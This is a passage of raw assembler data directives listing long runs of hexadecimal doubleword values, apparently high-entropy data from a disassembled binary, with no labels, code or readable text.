0A7DBC55Ah dd 9100D681h, 1731D76Fh, 7CF26910h, 606E00A3h, 98ADF136h dd 1900F3EFh, 0CCD93512h, 39E32EF6h, 539FDBB2h, 12F1E3Eh dd 0DC373680h, 0EFEC3498h, 2129ECFBh, 0B82FF600h, 0FB18650Ah dd 0A34205DCh, 3169EE0h, 90C545A4h, 2CF007FDh, 55411CBEh dd 0C0B86126h, 0F4149545h, 94E600E8h, 0B889291h, 36C6002Fh dd 210AD6C8h, 0CC738EF7h, 0B4375100h, 0F2ECDDCh, 0F503019Ch dd 4FCED0DAh, 0B68C30FBh, 800DF439h, 36EBDADh, 24DDE51h dd 19F70B7Ah, 0D470CBFBh, 0B6A84E00h, 31FCD545h, 0F9E30044h dd 0A13C0351h, 2E0B30E5h, 0D25ABBh, 6801B348h, 0EC3B30B9h dd 3FC82BB8h, 36EBA3Eh, 7C53B05Bh, 0F919E011h, 5061C946h dd 622D6001h, 0F42C6447h, 0FF355500h, 45165CDAh, 9B940068h dd 2F11FD79h, 497C0256h, 25B1E31Fh, 0EC092697h, 0CC4F8A44h dd 80A73A0Eh, 0B815B3B7h, 0B987B64h, 3F3C892h, 0F2DAD01h dd 278FFC8Bh, 807ADB3Fh, 9413A26Eh, 0B84FF1B5h, 637B0E73h dd 10C0A5C0h, 33EB55FBh, 21FFD800h, 84D45BD9h, 0F15A3AC8h dd 68D4D1h, 4C1E10EBh, 9DD088D3h, 0D0274714h, 44077C94h dd 87CC8025h, 0AF6FB6C0h, 811109E5h, 2C0076C4h, 0CCBD607Ah dd 98D58E03h, 0DA2C5C78h, 1DB8787Fh, 851D8DABh, 0E81524h dd 227CCEDBh, 5690F934h, 7768700h, 706ACA96h, 0CDF4A037h dd 2DD700F1h, 8CB3053Fh, 0E40046E7h, 0A25D5397h, 0E430E3F7h dd 6AC9034Fh, 270E0AAEh, 0BAE088F9h, 82070318h, 0E425B0h dd 72F12110h, 28C0F2D1h, 0D8A85900h, 0EE4A6C5Ah, 30BA737Fh dd 0B2EC2FB7h, 0BC00AFC4h, 9D05093Bh, 8139ADh, 18682201h dd 50517DEEh, 60A71900h, 3F31B9EDh, 697801E9h, 99E7AF3Ah dd 55F870D8h, 0A37D2810h, 0EDF98707h, 71C71093h, 95004261h dd 0EFE34AE5h, 59838C4h, 2A6F97BCh, 913CA03Bh, 0C300F9ECh dd 0B0F442Eh, 937DBAAh, 0D2B3CE60h, 0B6D66820h, 94B0B72Fh dd 7D49DA07h, 0BA83A264h, 0CE20008h, 6788AC1Eh, 0E503279Dh dd 9C794524h, 656D989Eh, 988B007Ah, 0C56C8275h, 0D903B92Eh dd 0EE994C8Dh, 0EC00F5BBh, 0D827C848h, 5D50052Ch, 404018EAh dd 0CF4E54E8h, 0C008CBAh, 396FFDB9h, 7D56F6A8h, 0DD1007Fh dd 5A84946Ah, 0F22DE59Fh, 8A7D6030h, 5D8D00B3h, 17DF63BEh dd 0A498B5F5h, 2FF4711Dh, 0AB152140h, 76CD56Bh, 0EF84E5Dh dd 9551C117h, 3292E458h, 4CB5EF0Fh, 570D0080h, 7C7AEA2Fh dd 0A8FD12B1h, 8F900303h, 0E4F0C5DCh, 0F40E5C6Ch, 80ED8A47h dd 49A0ADE3h, 95F2B7h, 0A038872h, 7F156FDh, 50742104h dd 90C05829h, 11F8C5Eh, 1BA3ED30h, 24321694h, 11589188h dd 213F30h, 0D7D6AF53h, 0E8244615h, 0BDD303A4h, 252C371h dd 57E7E0D0h, 90980D7Ah, 61B93F00h, 4104C591h, 0C7425h dd 0A660FF1Eh, 0CE36E4C7h, 170F5890h, 2C2F8D53h, 0C310BCh dd 0D16182Bh, 61BD4E88h, 5011A705h, 0B8E0B204h, 0C8EE02BCh dd 792D43EDh, 0A92281F7h, 887CC77Eh, 97D07D01h, 6033FC73h dd 0DEEAFA64h, 0E04ED100h, 87502F17h, 59D400A4h, 5E2E9077h dd 5F00118Bh, 85574D27h dd 59D61CD9h, 27A182Bh, 45F0B93Bh, 684032E3h, 21074983h dd 0CCDE7BF2h, 0CE31FA20h, 0E3CD006Fh, 5DEC8965h, 7CEAA593h dd 51386E6h, 0CC812645h, 0C613AEAh, 0CBEB0440h, 94970F81h dd 29852D70h, 0B49C802Ah, 0A62E4277h, 8E007FF3h, 0EEBE9BD8h dd 808C5057h, 0E1300F6h, 76CFFD49h, 8F00D9FCh, 0B179F5A8h dd 7591561h, 41AF9F2h, 0C34E005Dh, 3EE2B9D8h, 93FFC238h dd 40DF2Eh, 0F2C1637Ch, 53820B5Bh, 8C20971Bh, 25757BABh dd 8EDA851Ch, 5BBFE5C0h, 181ECC6Bh, 0F42CC953h, 0EF001477h dd 0C54B207Bh, 0A14344h, 876F4F01h, 0E22330AEh, 71D64E00h dd 48EFB178h, 3813008Bh, 0C5AF1A34h, 82247652h, 448FEC11h dd 4C2F40B8h, 0E27DE60Ch, 7A0E00CEh, 1505A58Eh, 0F07A3018h dd 34372E00h, 13E8F2A6h, 99551261h, 82B00BCAh, 634C98C0h dd 8F780201h, 7ECDC425h, 0D49C80F2h, 2FF5CE76h, 9C808ADFh dd 9E6C2F20h, 10353320h, 3B8FAE8h, 3659B449h, 1A78F075h dd 588925Eh, 7C05DD9Dh, 3FAC90BDh, 0B1008CECh, 650C6892h dd 0D981E4h, 84F0DE54h, 0B6B45EDDh, 5B33E0C0h, 60B7BB88h dd 0E59710D3h, 30014B8h, 11C70A79h, 0F045F5h, 0C1ED2D17h dd 0B5DE47CAh, 0AF00FFE0h, 874CC838h, 121DD575h, 2BD872h dd 765EDA98h, 0B9031506h, 5DF1625Ah, 0A2098810h, 0C1340008h dd 1E5D373h, 6F046124h, 0A8484355h, 10F74A0h, 0E0B030FDh dd 0EAF874A0h, 90D823C3h, 271E0DD5h, 14E8D756h, 0E613AE00h dd 80E2793Dh, 3CEC2401h, 0FCF33EB8h, 25940003h, 205ED936h dd 0B60045D3h, 9B347264h, 1E051287h, 0D6498838h, 2A50046h dd 0B49E51C3h, 3AD38E00h, 0E1C535CFh, 301900DBh, 9BD7A979h dd 3E00F58Fh, 0B5B27193h, 4CA0B7Dh, 956DD6A6h, 2599C0E9h dd 3B006955h, 1FDE41F0h, 9065B510h, 64F00B0h, 4EFAAD91h dd 0B00A35Ah, 3F1B7558h, 0B8695DE3h, 0FBA70017h, 82B45C24h dd 6E13D79Fh, 5CC0EFBAh, 0C7F48Bh, 29BBCA08h, 524553ACh dd 0A601E000h, 551A5110h, 7D783EBEh, 0F44AFC00h, 6E745066h dd 6B17E4F0h, 0B9141F14h, 0FDFC007Ch, 10FA904Fh, 50D0030h dd 4655A2ADh, 2800E152h, 95E79396h, 7F926B1Ah, 1EEC0F90h dd 0D12094D8h, 0F91584A8h, 9E67CC00h, 5EAD72EDh, 0C18527DCh dd 1818DC0Fh, 100C337h, 3CBA3A07h, 1F4AB97Bh, 45B433F8h dd 0AC96794Bh, 9E7301C3h, 0B00C329Ah, 0A16521D8h, 4FFC899Bh dd 0C74B18DEh, 53E150D6h, 0BEFA9300h, 1F49BBE8h, 3B020265h dd 22FC6ADBh, 9D12C8F0h, 9C5E1A43h, 59E0A4AFh, 26C5E1C4h dd 0B4142A80h, 893A004Dh, 1DEDD233h, 0C0008BB0h, 11F985AFh dd 0EE871310h, 2F7A03B8h, 93E32042h, 19F3B6B0h, 7300AAB0h dd 4D40A43Dh, 26E8B42Fh, 80F8DBD4h, 88F45658h, 157C09DCh dd 3CDF73Ch, 0CCD11334h, 91980178h, 16D5BB03h, 0D3119E9Eh dd 0D4FCBA00h, 3146A66h, 28A8E660h, 0FEDB11F3h, 892BD0E7h dd 1E0FD2E1h, 20169B1h, 70A3386Eh, 0B4DF07D0h, 8E5A3414h dd 0C05C8792h, 9EAA2591h, 800301F6h, 360A406Fh, 99CB906Ah dd 9B392861h, 4CB21520h, 7EC36834h, 99C03FF4h, 4E00E06Ch dd 0C2370F70h, 533BC3h, 7745B87Fh, 0BE15A439h, 0BF8D81Ch dd 0FF40C2DDh, 6B99B359h, 9F0D00C4h, 0B61B3281h, 4900C32Dh dd 0D6CE4ECBh, 0EBB1387h, 8C80CD02h, 0BF7E37A0h, 0F75450F4h dd 570028E4h, 0C39F0398h, 668939BBh, 218008ABh, 988F3300h dd 137077F3h, 7D310199h, 0BE2B3BCDh, 0EA6DD466h, 5237BF00h dd 75FB746Ah, 0F2F8F114h, 390E000Ch, 0A8DF8A08h, 9CA8C3F1h dd 0FA001298h, 9523406Dh, 0CC1B39F4h, 8521D108h, 0B5FA2A01h dd 89072260h, 8DDCA4E1h, 37BC25D2h, 0C82384EBh, 98560EF5h dd 0BADB9F02h, 32102E19h, 1600988Eh, 0C0EF8A8Bh, 18CED0ADh dd 58970D48h, 0F530750Bh, 3921D830h, 0D4E05259h, 0B4A4BF01h dd 20726690h, 7A665E3Ch, 21D008h, 85B7AC1Eh, 91543C31h dd 132E500Eh, 0A680005Eh, 0E8DC7Ch, 37C02D61h, 97561531h dd 0E10B34A1h, 1070F716h, 44FF7E00h, 31DB5C06h, 0EE301D7h dd 815DB452h, 0C242DCC1h, 0BEC74507h, 68E012DEh, 262488Eh dd 3521D1D9h, 47C002F3h, 0E0000F59h, 670436FFh, 38B95B81h dd 2E804275h, 8657DE4Ch, 90E8DD9Ch, 7D4321C7h, 0BC95BEF1h dd 3AD7F4h, 360B6A5h, 0AC236558h, 32EF6E0Ch, 0AD3195h dd 7E2BDAD6h, 0D8CFA09Dh, 3188DC01h, 14E0C624h, 0EF1EF0h dd 3DEDC082h, 5D6DB8FCh, 6799BB00h, 0BFE95C0Bh, 105B6083h dd 0A8C443E1h, 0A518680Eh, 0B5091973h, 4AC12180h, 6D4C1EC4h dd 15413300h, 0AFE88A76h, 5B1A06DBh, 999959C6h, 41552E1Fh dd 0A6E670F0h, 0C7440393h, 298CCE59h, 61019D6h, 944005FFh dd 84048CFCh, 542E2342h, 0CE2FBA62h, 739E41ACh, 6DD0073Ch dd 0F4E001EDh, 0F39D0A8Dh, 99B500C9h, 1B3D18CEh, 59D410BAh dd 0D5F2C300h, 7E83DAC6h, 55A00D7h, 0E92EE2C4h, 98004E09h dd 0C18AAA2Ch, 0EC81F1h, 0E103E5E8h, 0CCA33693h, 1EC2A900h dd 0CB3457CAh, 0FAE00F6h, 125B9C11h, 3600236Bh, 5408444Bh dd 0F1EDDB8h, 2A65AA8Ah, 81DBCF00h, 0F70577CBh, 20DF3B7Fh dd 8FB094C0h, 415D181Dh, 0FEE720EAh, 1CFA171Eh, 0EE38B8C0h dd 12DEAF21h, 4970CCh, 34870708h, 0DC0C5F77h, 59E52D32h dd 257D00EBh, 0BF2AF3BEh, 35794076h, 6517C307h, 0BC33A9C2h dd 6CE1D816h, 257318F6h, 48CC199Dh, 3E841A00h, 0FA643014h dd 0D740C3C3h, 0C0C5B425h, 0E321F828h, 0E5965200h, 38C0FD0h dd 416F0C2Bh, 0EA80665Ch, 0A59A6018h, 0BF49C9h, 0DAAAB293h dd 0F05459E4h, 0F8317000h, 9E2B0217h, 560C06EFh, 41641DAAh dd 81007D7Ah, 0C5586157h, 2648FCF6h, 139CB0h, 0A52F2EA7h dd 18005D1Ch, 0ADB16A3h, 0EB321Eh, 54302B90h, 409228BAh dd 501B0630h, 331F181h, 0C65C1E10h, 58A84C6Bh, 7D00577Ch dd 760702C2h, 3A2ECB1Fh, 0C00212Dh, 0AA6FA873h, 47007709h dd 43A9947Bh, 0E87F14E1h, 8F18C040h, 4776ADFFh, 0AB2890F0h dd 4600181Ch, 727DC03Bh, 7A385B8h, 0BD6D86AFh, 0BA3C5016h dd 3000DFF6h, 45BF1CD6h, 573249h, 8B7A55BEh, 0D39ACBB1h dd 31E23402h, 9EF3ACCCh, 70126014h, 44363040h, 0FD1798C0h dd 98AF6754h, 2A231860h, 7F06B1CEh, 0EA85E00Fh, 0F02B82F1h dd 580C8143h, 0D412E9B6h, 0A1A33418h, 0CC0CE818h, 0EC30F342h dd 6586BE61h, 0E8E0A141h, 0A1FE6136h, 80A5B35Bh, 0BB9626A8h dd 2A731D92h, 6987B81h, 36BE177Dh, 5F44503Ah, 1CACD0C4h dd 45CDFC00h, 0E7AC73D1h, 0E625271Eh, 0B672E101h, 36E8D07Fh dd 0AD51C7D3h, 83CF373h, 0E2788178h, 11D0BD30h, 0DAEBFC5h dd 4685F171h, 0B87DF060h, 665079C1h, 0C88D3179h, 0F020A9AAh dd 0A2481B78h, 56F203ABh, 98A7AE1Ch, 1841FD14h, 29AB3190h dd 3D00AAD7h, 1C7B6D8Ah, 0CC7625FEh, 0B7219D08h, 353D7201h dd 4C1166AEh, 155A3F4h, 7AC0AAE1h, 0E420D7D5h, 0D6E07190h dd 1CA87214h, 37301C5Ch, 0B7F3940h, 3DCF87h, 6E5546ADh dd 7E60C427h, 18AD420h, 4041F856h, 25A329BAh, 77818068h dd 8E244391h, 0E711C0BBh, 3BE1BEA6h, 0AA65B706h, 6708BFC4h dd 507821CFh, 0E77645BEh, 0AC28B300h, 4A176775h, 0D57D242Eh dd 0FACC0004h, 77E4029Ch, 0FCCA4D1Ah, 0E5810FC8h, 9447E13Eh dd 3F8664D9h, 5F744C10h dd 8592E00h, 20EC17A5h, 83D1D300h, 3C7D1039h, 74780187h dd 1907B1CEh, 24B2D885h, 59016F79h, 3D792EFEh, 9FDAA2C3h dd 9B515804h, 0C9E253Eh, 188B5B74h, 0F344007Bh, 0A2753158h dd 90000E20h, 0E6854BD6h, 3B047477h, 7B8C8AB9h, 0AE29DC54h dd 372340h, 5A9DBA67h, 778DDAC4h, 0AA2DA300h, 0D798BF96h dd 391E0042h, 2F5F6AB7h, 3D0F0B0Ch, 2667CFh, 4547CB78h dd 32EE0055h, 0EFB856E0h, 9F1693CAh, 150034A6h, 23D22910h dd 52FF1F1Ah, 80965EC5h, 97941513h, 503EEFE1h, 811C07E2h dd 0B1A07BB9h, 60789C43h, 420589D1h, 75190CE0h, 0E72926CEh dd 489222E8h, 3C00B915h, 0B0E0741Dh, 251E346Ch, 0F0A5C1EBh dd 59BE001Eh, 78C971D4h, 61EBC10h, 0FA00039Ch, 15119641h dd 0CEBD3C26h, 47D78483h, 7000D8E2h, 8C93F5CBh, 3FDCE5BCh dd 0FD80EABFh, 9270CE2Ch, 0E000B0F7h, 0AD08CEDh, 1D4A23Bh dd 73627F2Bh, 0ECEF1609h, 5300C17Eh, 0CF21D6D5h, 365105h dd 9A25322Ch, 346AB092h, 2DDF8A00h, 0BE8C9FC0h, 0A74300FCh dd 0B67F8FDEh, 0D51F0B96h, 6140D136h, 0DAE723D7h, 4ACD00A9h dd 6C6E0682h, 0EE65189h, 1857F500h, 8410428Bh, 237306D0h dd 116375FAh, 31C110Fh, 0B3A2C06Fh, 0E3E0E1h, 88C3A4A3h dd 44F263DEh, 0E5EDFA00h, 620D9752h, 7297802h, 4C74FFE4h dd 0C48320EFh, 0FE0B3933h, 0B13EA8h, 3DDFD45Fh, 49281D82h dd 426444C8h, 0EE548385h, 780059EEh, 5762B2C7h, 1BBAB81h dd 7AF52F68h, 50D652A1h, 0E26B0BE8h, 0E489EDFDh, 96006A46h dd 715EED3Bh, 6FA3F8h, 15FBAAC7h, 89F2C8D8h, 9C10A00h dd 0AB38FCD4h, 48196022h, 6AC63ED3h, 3CCA5919h, 0E080DD88h dd 0E2EB4258h, 38008CABh, 5E1EFEE6h, 55077899h, 2E44401h dd 0F38E00DFh, 0DC1EAB92h, 0DE0033B3h, 0B823DDE1h, 3D82812h dd 0C9FF4AC6h, 54C80C27h, 7E384F55h, 0E0E6008Fh, 9BFA0DEh dd 5EDA3722h, 37D09099h, 98002F2Ah, 0F1F31A68h, 22C02Ch dd 73C176BEh, 9388FF59h, 3C5B8900h, 56D46BB7h, 815D00D3h dd 7DDD3ACEh, 0F800380Ah, 7B324537h, 0E271EC6Fh, 9DDE26E6h dd 6CFB0004h, 4D3C8610h, 0B439BF00h, 6BF84AACh, 881E6895h dd 893204A1h, 0E32C8318h, 0CE689EF0h, 8A915E00h, 0FB9D1AACh dd 2946002Dh, 8DC19077h, 0BD004FB3h, 0EF1DE1C4h, 0F0B72439h dd 0D09A00E2h, 0AD978A06h, 1F00D541h, 79E6ABA9h, 807C9h dd 0C8A8B982h, 248B88CEh, 360ECF00h, 682C3005h, 0F22D01F1h dd 2628716Fh, 8EE8CC9Bh, 4B579E00h, 5F477B46h, 0FB204BBh dd 0D01BB021h, 0C109D0DCh, 82D1FF1Eh, 4E266140h, 5EAAC6h dd 8A491DB8h, 2F4D99F9h, 1C465B09h, 20B80130h, 0CBC1BFDEh dd 0CEA5E440h, 0A1930064h, 968CDFF0h, 13E028Eh, 0B416260Bh dd 0C7559C80h, 901E83F1h, 82E420h, 26891171h, 0FA202AF7h dd 0E9CC870Eh, 0CBCF103Bh, 4D113980h, 6348314Ch, 0BBF3B060h dd 0C1AF006Dh, 1003764Ah, 0CA056172h, 3BA24921h, 0F414D440h dd 28A69327h, 0BCDF77h, 3171897Eh, 2D445AF9h, 39D440E7h dd 0FAE211C1h, 0F3674B0Eh, 8B120193h, 5C404E36h, 9264E986h dd 0D0D50044h, 895868ECh, 0A3827EFh, 0F514838Ch, 0A95DBCF2h dd 2EDC0224h, 566D053Fh, 900AC2F3h, 4DED0D40h, 8EA78706h dd 1996392h, 91788DFAh, 83DC0F96h, 8A329A80h, 0B03D8311h dd 0E4D28F29h, 44800090h, 65E51D71h, 0DC64B7B8h, 78806440h dd 0C1607F0h, 0F2B6F38Fh, 0E9484049h, 0C2D2180Ah, 30FBBF80h dd 2C79F0C9h, 0AE24054Dh, 0FD01BBB3h, 230A2533h, 0E0ABF830h dd 8E5D152Eh, 2400A803h, 5E556287h, 61C7846Eh, 60DFA5D7h dd 18E5540Fh, 0B5330C08h, 4888130Ch, 59ECC54Eh, 5CD4781Ch dd 0B0F00122h, 0F029FF21h, 8409D6F3h, 20CF528Ah, 0C805C1F8h dd 3B630960h, 40A56770h, 1884069Bh, 300B9F3h, 0E187D4D3h dd 60886135h, 2738199Ch, 0BC588B9Ah, 0D5D2002Ch, 0DBD357F8h dd 107E639h, 144A5D5Ch, 0D08F1B65h, 0A7007479h, 6DFA8CB0h dd 4956AD73h, 0FD038491h, 0F481A223h, 97920780h, 0E9658D03h dd 0FF575AA6h, 0CD87989Ah, 0EEE1FEFCh, 4EC0531Ch, 0BBA501E7h dd 6944A4F8h, 11EC3379h, 47893CC6h, 24A17E00h, 8372DEE3h dd 9300CAB0h, 3253E82Ch, 938F332Eh, 5EB68014h, 3F42E157h dd 8F14DC00h, 4D485C9Eh, 3A303E7Ch, 0AA87BE07h, 71C28629h dd 964E748h, 27D20AB7h, 0B0D2EC70h, 0BDC6E0Ch, 6D3EB8CBh dd 0AE20081h, 0E460E25Bh, 1130C2DBh, 6164F0FEh, 0C0427C1Eh dd 0F1200979h, 391E8649h, 0D645E37Eh, 0E81FD976h, 8B381F40h dd 3B30CEBh, 4AEEF024h, 0D127D1CBh, 3D05076h, 0B75AE785h dd 0E93ADCD0h, 0E0FF0010h, 0AF5CC8DDh, 2B8D3575h, 0DB2880A9h dd 0B17629D6h, 0E23C2F1Fh, 0FC2B3700h, 0B0E16F3Eh, 45D001CCh dd 0D035266h, 0FD8BD4A2h, 28370900h, 0E91E9306h, 24BF451h dd 2B10B76Eh, 1CC0905Ch, 0FA2C70E0h, 34032E86h, 91F023h dd 7D832B18h, 6EDF9472h, 0BE0E9DB8h, 0E10EC307h, 32DD17D2h dd 0FF6F7C34h, 4082F89Dh, 0C2CEB614h, 3A0013E8h, 6556F67Ch dd 4C2569h, 2EE70312h, 3B017BAFh, 88742201h, 514DFB5Eh dd 2537C0D3h, 0F7B41EF9h, 58648015h, 41AFB124h, 0C3F00D0Fh dd 0DEAE2227h, 1BA8A3A6h, 5480A72Ah, 6095D2h, 0E813B98Dh dd 41EE1290h, 80C70A07h, 303203B2h, 88924314h, 33C325Fh dd 0AB5550B8h, 4BD8B30Bh, 0F805CD2Fh, 1256EE19h, 0F0A98680h dd 86500ACh, 0CFC632E9h, 86005374h, 915C3F6Eh, 9A5F14E0h dd 0DCEB3D74h, 4ABF8182h, 828ED827h, 18DEE840h, 0CA49C585h dd 80150744h, 0BD67A27Eh, 114E38E3h, 15ED0B41h, 0FCEE07h dd 52F5733Eh, 9277DBh, 894A59EAh, 605323D6h, 0E50AB9B8h dd 0C48D49FEh, 7DEE8C3Ch, 94769B4h, 0DF7CC2B1h, 0D030C880h dd 1B091F3Bh, 36D86h, 0F60F6078h, 4D08009Eh, 0B227150Ch dd 1416136Fh, 98410521h, 0E24BE58Ch, 0CFC74h, 0AA4EA17Bh dd 2D35BE8Dh, 71C762FCh, 4905FADh, 51B27Bh, 0FD18BD54h dd 841DDEEEh, 0E0E47804h, 0D092A039h, 0B58C6191h, 0AB2C880h dd 5B4E1294h, 0FE2BF20Eh, 0EF262021h, 5C17A095h, 0B7A2235h dd 0AE50D57Ch, 0DC26241Dh, 0BBA14004h, 0B0A46704h, 4002688h dd 0A765030Fh, 0CA94AAh, 6B24C574h, 0AE82199Eh, 4D38594Ch dd 0FA3A74h, 621E7C39h, 635D603Bh, 0F69268EDh, 0F01802D8h dd 242CC002h, 0C363E214h, 0E0CF9FD8h, 0BE43556Ch, 9DE3D79h dd 31D47580h, 543BCF88h, 0E5265313h, 0E85DD822h, 17E685D4h dd 3088C44Ah, 0D4B61020h, 0E962FC00h, 5B191F60h, 0EB2D044Ah dd 0A33B08F1h, 0EC22A4h, 0F28838CCh, 577B978h, 8F3FE213h dd 9C1C6C2Dh, 1C67F01Eh, 936BC0E7h, 0F6BC02C4h, 88C87459h dd 0DF0D9D65h, 1023E8F7h, 789B0920h, 17480004h, 37B85A51h dd 83F04907h, 25BCE000h, 54AB4415h, 50BE05F2h, 0D8D493CEh dd 0BF5367A8h, 802E05CCh, 0B88C5984h, 0A3001C1h, 44BA9D3Ah dd 67586155h, 0E1290090h, 184E20E2h, 4C4DFACBh, 900062C5h dd 7F83FE34h, 38171B46h, 0EC0F07D2h, 0DB80C09Dh, 0FADE2Bh dd 0E9496CE6h, 6FD347A9h, 0B314AD00h, 0FE7CA62Dh, 0F8A0E861h dd 391E0020h, 0AC0CE68Ah, 5C0E2AEEh, 611FC359h, 0B09450F0h dd 38D24820h, 0DA003F63h, 5FCFFD15h, 66042285h, 0B2AEA89Bh dd 5BD2BC80h, 0C42139EBh dd 923BF449h, 0E5500380h, 0E6F5CF3Ch, 0A53AEA1Fh, 2F100138h dd 13E46676h, 18BA1BC8h, 38DDC814h, 38027D26h, 0F7C97618h dd 0CD988182h, 0E88C2F5Fh, 7928CE10h, 9C302000h, 0BD7A2D91h dd 7F7B0069h, 0B26A4CE5h, 0EC28A8CEh, 26E6EA08h, 0BE362000h dd 5BFBCB43h, 287055h, 5364DBB9h, 67E634A8h, 0E1175600h dd 0A9B582B4h, 35E00029h, 690DC999h, 0D703C588h, 81DF9E0Fh dd 31149073h, 74300053h, 4627AEF7h, 3E486FC2h, 83330054h dd 603109C7h, 7369006Dh, 5F45D97Eh, 4370C4D8h, 0A31CDF90h dd 6985834Bh, 8E0F79B4h, 5FA400EFh, 1AA39F4h, 89442E12h dd 0C8AFBBE4h, 3813A69Fh, 64000468h, 507DBD08h, 2DEC00FFh dd 8D828674h, 30005AEAh, 133F8741h, 20273Ch, 6128F26Dh dd 4B3216CBh, 0C5CD700h, 7E5859A7h, 9039008Bh, 0B3D221B8h dd 0E100BF54h, 7AD02DC1h, 5A3C9Ah, 0B11529D3h, 6CDA0B0Dh dd 59871900h, 854017C2h, 0EA7870D0h, 84F5A191h, 92A3E0h dd 7E2FFB1Fh, 48C32129h, 8D0EA407h, 39B120E3h, 4CE4AC56h dd 994600F5h, 0B2238A2Bh, 12B8117Ah, 0CDAE3107h, 0C4617F01h dd 65E4B437h, 38FB07D1h, 80F07987h, 1F011D84h, 0D8A9E100h dd 0C5F8D67Dh, 726200EBh, 7C234579h, 513CA7AFh, 0CF3EFA0Dh dd 913A89h, 856B29EAh, 7948083h, 3DBB36DCh, 8C9E10FDh dd 0AC00388Dh, 86207009h, 723BF4h, 93F0E1A8h, 9933B4A9h dd 0E367B500h, 8F6D8C38h, 0D3A500D9h, 5F0C1347h, 610FB160h dd 4012E87Dh, 0C1C5E75Ch, 32980794h, 20F295A7h, 85019C97h dd 9A01C4F8h, 770523D0h, 75EC6C7Ch, 68341F63h, 0F9220F55h dd 6002F100h, 1A001FBAh, 9389C1D5h, 4B9632h, 0E5790120h dd 7E9EAA0Bh, 3C606A00h, 0C0D5ED89h, 0F69400A7h, 8063A142h dd 4160D231h, 89476210h, 0CF6F0F07h, 2340B2E0h, 57EA9DC7h dd 3CC6C00Fh, 0D6C1A349h, 876EA2A8h, 0E9017B0h, 3FBE6624h dd 15804BE9h, 0DAA4F1EEh, 0CA097AF8h, 0C06499A2h, 405324Ch dd 0EACC28BCh, 0BBFD80D1h, 2100F4C5h, 0FE2666FDh, 4719DCh dd 0C9ADE316h, 2ECAEC90h, 0C509F304h, 990CD73h, 7724620h dd 0ED0E9527h, 0D081E149h, 3C682044h, 65969A00h, 4F2A404Bh dd 2CA87EEEh, 9DDCCFD4h, 32CE005Ah, 884C845Dh, 260184B8h dd 918A056Bh, 0D3CC6CE7h, 6F413890h, 0A5CD7000h, 32C5DC4Ch dd 8BD83600h, 60A455CFh, 8AC20171h, 2040DE4h, 23F02040h dd 38D67300h, 99FD5066h, 0E96E0063h, 94C8AA7Ah, 0AD00AEF3h dd 1336D2B4h, 0E4E4701Bh, 820B3CBAh, 272FF400h, 1EE27A49h dd 2499D439h, 9E00BBEBh, 0F4F848A6h, 36CB0026h, 6B1AB9AEh dd 562C0AF1h, 0A5807021h, 28C7C987h, 2D390267h, 71E888C0h dd 75F33840h, 0F10064FCh, 8B5091Bh, 173572BFh, 1FEC8925h dd 0DABC0E08h, 82878600h, 80F01916h, 0AF41A900h, 4AB409A5h dd 502D0FD8h, 74E783F8h, 31363013h, 653F05E6h, 99BA003Bh dd 0F598A6A4h, 869400A0h, 1B87EBFh, 93125262h, 480E789Fh dd 21BC00AFh, 0C9ACA0h, 0D6F8F1Fh, 0D784B970h, 9C667F07h dd 998720DEh, 8A9DBF30h, 911C0067h, 0EB5AA5B7h, 0EE0051A9h dd 22818436h, 0B4494120h, 2F123EC4h, 0D8703EAh, 0C42DF058h dd 7BEC0010h, 2827B1A4h, 0C4B043h, 1AC9EDD5h, 4A535F3Dh dd 9B003490h, 0EC5EA314h, 90A90AA1h, 0C9650006h, 0CDE57E69h dd 0D6002538h, 0DD505E9Eh, 0B0EB63Eh, 0C6E3FAA4h, 3811EC21h dd 0D07F21BBh, 96000993h, 8D1BA16Eh, 79A4Fh, 924491A4h dd 0D8E6A8C1h, 0D58FBC00h, 8BF73C7h, 0EEB30058h, 3265660Fh dd 9D2EBA24h, 0D0C1B55h, 0C360A3h, 9A385A23h, 6696A1B9h dd 0ABD5810Dh, 0EE4680CDh, 1CE81010h, 822E1E9Eh, 0E6C6AE1Fh dd 28209677h, 175878FCh, 0FBA197Bh, 592755A4h, 39A0CF46h dd 1443FCEEh, 3C00D894h, 0A9C90644h, 82E6349Eh, 59308040h dd 5E1955D3h, 3051C73Bh, 57C30980h, 0AEF5902h, 8158920Eh dd 70BF6505h, 380D1007h, 0C0BA611Ch, 8077E998h, 85008ACDh dd 94B9ACBh, 302D767h, 5662A57Ch, 3001D340h, 2D0A0F84h dd 0D8837E8Bh, 0FDD74312h, 0DCC2580Fh, 0BB49001Fh, 20A81Ch dd 0D75CE911h, 0AA963CDBh, 0A2280760h, 706F99Eh, 67E0F3FCh dd 8F876A1h, 4721AB60h, 350060Eh, 0BFFE4B54h, 0B1583FF4h dd 517F0374h, 1888B415h, 397675D1h, 0AAA0093Fh, 20FE3A4h dd 83F6C435h, 4315112h, 63AB5D41h, 0E6938043h, 9CCC001h dd 0FFD2125h, 3A2A63D3h, 1D7793E0h, 0F900F4A3h, 0DE8E1E2Ch dd 61178C6h, 751C39DFh, 0EF3A7993h, 64D8006Dh, 0D6F415C4h dd 0CD8E3CC0h, 3CBB9B1Eh, 6296784h, 0DE4CB0DDh, 4A8A151Dh dd 5E212B02h, 0CC17615Fh, 0FBA448h, 1831528Dh, 5F402903h dd 0C5D869C0h, 0D99E25h, 1F0BD5A9h, 0D26902EEh, 7FBE8300h dd 0E5C56787h, 8B8D00FAh, 0C289610Bh, 79C09B49h, 730316FEh dd 0F29000A6h, 1E86DF8Eh, 0AB0F7D4Bh, 5ED1534h, 0AC5E9D8Bh dd 0C2967187h, 7CC462E3h, 0E6720C41h, 32111254h, 930088EEh dd 0ACA63A4Bh, 0B8A747FCh, 2BAF0EEBh, 22B20879h, 8C6082A0h dd 0DA03057Fh, 420DC758h, 0B9A351h, 7ED0E1F9h, 16FD7E8h dd 5F756B07h, 8A30FC74h, 6C6777Dh, 0CF3158D8h, 0AA2AD07Ch dd 69EA8C7Ah, 62F32F00h, 13FE75BDh, 0FB9300D4h, 2B051940h dd 4302E2A2h, 71BF89AFh, 0FD4448D6h, 1B94188Dh, 0D314A09Eh dd 60D989CFh, 5DCFD063h, 0F9E0006Fh, 217D2CA7h, 609F92A4h dd 540C26h, 0B25799FBh, 0BBE85E83h, 5491BF79h, 12B58400h dd 0B86F23h, 3CE49DFDh, 0A72A37ACh, 20E4FC50h, 0A8A37A06h dd 7E79D2FAh, 70D30F1Bh, 0DA606912h, 4D0CAACEh, 0F7D8C700h dd 14830330h, 60BF29F2h, 1CE400E8h, 0F455C0Dh, 0BCBAEE07h dd 0AEE3F235h, 6D54E0A0h, 0A9530073h, 8ED1B480h, 50FBB112h dd 64FBF4C8h, 56958D13h, 21910D0h, 